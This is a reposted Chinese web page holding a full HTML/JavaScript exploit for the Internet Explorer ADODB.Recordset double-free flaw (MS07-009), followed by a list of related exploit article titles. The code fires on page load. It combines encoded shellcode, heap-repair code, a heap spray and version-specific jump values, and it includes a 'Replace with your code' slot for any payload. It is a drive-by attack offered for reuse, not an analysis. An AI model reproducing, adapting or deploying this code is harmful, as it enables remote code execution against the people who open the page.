MS Internet Explorer Recordset Double Free Memory Exploit (MS07-009)
2007-04-28 14:33
513 查看
<HTML><!--**********************************************************************************Microsoft Internet Explorer ADODB.Recordset Double Free Memory Exploit (ms07-009).**********************************************************************************Review:This code exploit "double free error" in msado15.dll NextRecordset() function.As a result of double freeing of same string, rewriting of Heap Control Block by malicious data is occuring. Technique of exploitation is based on "Lookaside remapping".Runs calc.exe if success.--><HEAD> <OBJECT id=obj classid=clsid:00000535-0000-0010-8000-00AA006D2EA4></OBJECT></HEAD><BODY onLoad='Go()'><script language=javascript>//------------------Replace with your code-----------------------// var Shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");//------------------Replace with your code-----------------------////-------------Heap Repair Code. Do not Replace------------------// var HeapRepairCode = unescape("%u9090%u9090%u186A%u645B%u038B%u408B%u8B30%u1840%u5805%u0001%u3300%u89D2%u8910%u0450%u5089%u8908%u0C50%uC083%u8928%u8900%u0440%uC083%u6608%u783D%u7C05%u8BF2%u81D8%u90C3%u0000%u8900%u3318%u83D2%u04C0%u1089%uC083%u8104%u80C3%u0000%u8900%u3318%u89C0%u8303%u04C3%u8166%u88FB%u7C1E%u8BF4%u81D3%u70EB%u001E%u6600%u338B%u8966%u4232%uC642%u0802%u6642%u328B%u3166%u4232%uC642%u1402%u6642%u328B%u3166%u4232%u6642%uC381%u0160%u1389%u5389%u8904%u891A%u045A%u9090");//-------------Heap Repair Code. Do not Replace------------------//var part1 = '';var part2 = '';var partLen = 127;function PrepMem(){//Standard Heap Spray Codevar heapSprayToAddress = 0x05050505; var payLoadCode = HeapRepairCode + Shellcode; var heapBlockSize = 0x400000; var payLoadSize = payLoadCode.length * 2; var spraySlideSize = heapBlockSize - (payLoadSize+0x38); var spraySlide = unescape("%u9090%u9090"); spraySlide = getSpraySlide(spraySlide,spraySlideSize); heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize; memory = new Array(); for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + payLoadCode; } function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide.length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return spraySlide; }}function GetSystemVersion(){ //Simple Detecting of OS version out of Jscript version: var ver = ""; ver += ScriptEngineMajorVersion(); ver += ScriptEngineMinorVersion(); ver += ScriptEngineBuildVersion(); if ( ver<568820 ){ return("preSP2"); } else if ( ver<575730 ){ return("SP2"); } else return (0);}function PrepJmpcode(sp){ switch(sp){ case "preSP2": var egg=""; egg+=unescape("%u0608%u0014"); egg+=unescape("%u0000%u0000"); egg+=unescape("%uF708%u0013"); egg+=unescape("%u0000%u0101"); egg+=unescape("%uFFFF%uFFFF"); egg+=unescape("%uFFFF%uFFFF"); part1+=unescape("%u0400%u0014"); part1+=unescape("%u320C%u77FC"); while (part1.length<partLen) {part1+=unescape("%u0505");}// ptr* shellcode while (part2.length<(partLen-egg.length)) {part2+=unescape("%uFFFF");} part2+=egg; break; case "SP2": var egg=""; egg+=unescape("%u0608%u0014"); egg+=unescape("%u0000%u0000"); egg+=unescape("%uF708%u0013"); egg+=unescape("%u0000%u0101"); egg+=unescape("%uFFFF%uFFFF"); egg+=unescape("%uFFFF%uFFFF"); part1+=unescape("%u0505%u0505"); part1+=unescape("%ue128%u75c7"); while (part1.length<partLen) {part1+=unescape("%uFFFF");} while (part2.length<(partLen-egg.length)) {part2+=unescape("%uFFFF");} part2+=egg; break; }}function Exploit(){ var arr=new Array(); var i=1; while(i<500){ try{ k=1; while(k<500){ arr[k]=part1+part2; k++; } obj.NextRecordset( part1+part2 ); }catch(e){} i++; }}function Go(){ PrepMem(); PrepJmpcode( GetSystemVersion() ); Exploit();}</script></body></html>
内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理 
相关文章推荐
- MS Internet Explorer Recordset Double Free Memory Exploit (MS07-009)
- MS Internet Explorer 7 Video ActiveX Remote Buffer Overflow Exploit
- MS Internet Explorer <= 7 Remote Arbitrary File Rewrite PoC (MS07-027)
- MS Internet Explorer 6 DirectX Media Remote Overflow DoS Exploit
- 网马生成器 MS Internet Explorer XML Parsing Buffer Overflow Exploit (vista) 0day
- 转Memory Leakage in Internet Explorer
- Memory Leakage in Internet Explorer - revisited
- double freeing of freed memory
- Internet Explorer VML Buffer Overflow Download Exec Exploit （0day）
- IE Sieve, Memory Leak detector for Internet Explorer
- MS Windows Explorer.exe Gif Image Denial of Service Exploit
- Microsoft Internet Explorer .ANI Files Handling Exploit (MS05-002)
- memory leak & double free如何排查？
- MS Windows GDI Local Privilege Escalation Exploit (MS07-017) 2
- Microsoft Internet Explorer DBCS Remote Memory Corruption Vulnerability
- Internet Explorer for Mac the Easy Way: Run IE 7, IE8, & IE9 Free in a Virtual Machine
- Memory Leakage in Internet Explorer - revisited
- Internet Explorer COM Object Heap Overflow Download Exec Exploit
- Zero Day MS Internet Explorer Remote "CreateTextRange()" Code Execution
- WebHost failed to process a request.Memory gates checking failed because the free memory (140656640 bytes) is less than 5% of total memory